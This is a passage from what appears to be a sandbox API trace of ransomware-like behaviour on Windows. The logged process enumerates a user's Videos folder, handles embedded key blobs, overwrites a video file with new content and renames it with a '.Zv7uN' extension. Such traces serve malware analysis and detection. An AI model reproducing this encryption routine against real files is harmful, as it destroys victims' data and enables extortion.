dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="SzoFqVMTlfvxL3--V.flv", cAlternateFileName="SZOFQV~1.FLV")) returned 0 [0086.829] GetLastError () returned 0x12 [0086.829] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0086.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51ab2980, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51ab2980, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0086.829] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0086.830] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.830] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51ab2980, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51ab2980, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0086.830] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.830] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.830] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee13df30, ftCreationTime.dwHighDateTime=0x1d5e5c7, ftLastAccessTime.dwLowDateTime=0xc7a9c170, ftLastAccessTime.dwHighDateTime=0x1d5da69, ftLastWriteTime.dwLowDateTime=0xc7a9c170, ftLastWriteTime.dwHighDateTime=0x1d5da69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="AQq3p", cAlternateFileName="")) returned 1 [0086.830] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.830] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee13df30, ftCreationTime.dwHighDateTime=0x1d5e5c7, ftLastAccessTime.dwLowDateTime=0xc7a9c170, ftLastAccessTime.dwHighDateTime=0x1d5da69, ftLastWriteTime.dwLowDateTime=0xc7a9c170, ftLastWriteTime.dwHighDateTime=0x1d5da69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0086.830] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee13df30, ftCreationTime.dwHighDateTime=0x1d5e5c7, ftLastAccessTime.dwLowDateTime=0xc7a9c170, ftLastAccessTime.dwHighDateTime=0x1d5da69, ftLastWriteTime.dwLowDateTime=0xc7a9c170, ftLastWriteTime.dwHighDateTime=0x1d5da69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.830] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd13500, ftCreationTime.dwHighDateTime=0x1d5e213, ftLastAccessTime.dwLowDateTime=0xb6d33810, ftLastAccessTime.dwHighDateTime=0x1d5e057, ftLastWriteTime.dwLowDateTime=0xb6d33810, ftLastWriteTime.dwHighDateTime=0x1d5e057, nFileSizeHigh=0x0, nFileSizeLow=0x9005, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="bbtjkel4YLOifFIr.mkv", cAlternateFileName="BBTJKE~1.MKV")) returned 1 [0086.830] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0086.830] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bbtjkel4yloiffir.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd13500, ftCreationTime.dwHighDateTime=0x1d5e213, ftLastAccessTime.dwLowDateTime=0xb6d33810, ftLastAccessTime.dwHighDateTime=0x1d5e057, ftLastWriteTime.dwLowDateTime=0xb6d33810, ftLastWriteTime.dwHighDateTime=0x1d5e057, nFileSizeHigh=0x0, nFileSizeLow=0x9005)) returned 1 [0086.831] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bbtjkel4yloiffir.mkv")) returned 0x20 [0086.831] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv", dwFileAttributes=0x80) returned 1 [0086.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.834] GetCurrentThreadId () returned 0xa30 [0086.834] GetCurrentThreadId () returned 0xa30 [0086.834] GetCurrentThreadId () returned 0xa30 [0086.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.835] GetCurrentThreadId () returned 0xa30 [0086.835] GetCurrentThreadId () returned 0xa30 [0086.835] GetCurrentThreadId () returned 0xa30 [0086.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bbtjkel4yloiffir.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.836] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.836] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.836] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x9005 [0086.836] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.836] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x9005, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x9005, lpOverlapped=0x0) returned 1 [0086.838] CloseHandle (hObject=0x11c) returned 1 [0086.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bbtjkel4yloiffir.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.842] WriteFile (in: hFile=0x11c, lpBuffer=0x1f09f70*, nNumberOfBytesToWrite=0x9005, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f09f70*, lpNumberOfBytesWritten=0x18f6ac*=0x9005, lpOverlapped=0x0) returned 1 [0086.845] CloseHandle (hObject=0x11c) returned 1 [0086.847] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bbtjkel4yloiffir.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bbtjkel4YLOifFIr.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bbtjkel4yloiffir.mkv.zv7un")) returned 1 [0086.848] GetCurrentThreadId () returned 0xa30 [0086.848] GetCurrentThreadId () returned 0xa30 [0086.848] GetCurrentThreadId () returned 0xa30 [0086.848] GetCurrentThreadId () returned 0xa30 [0086.848] GetCurrentThreadId () returned 0xa30 [0086.848] GetCurrentThreadId () returned 0xa30 [0086.848] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaebc1f0, 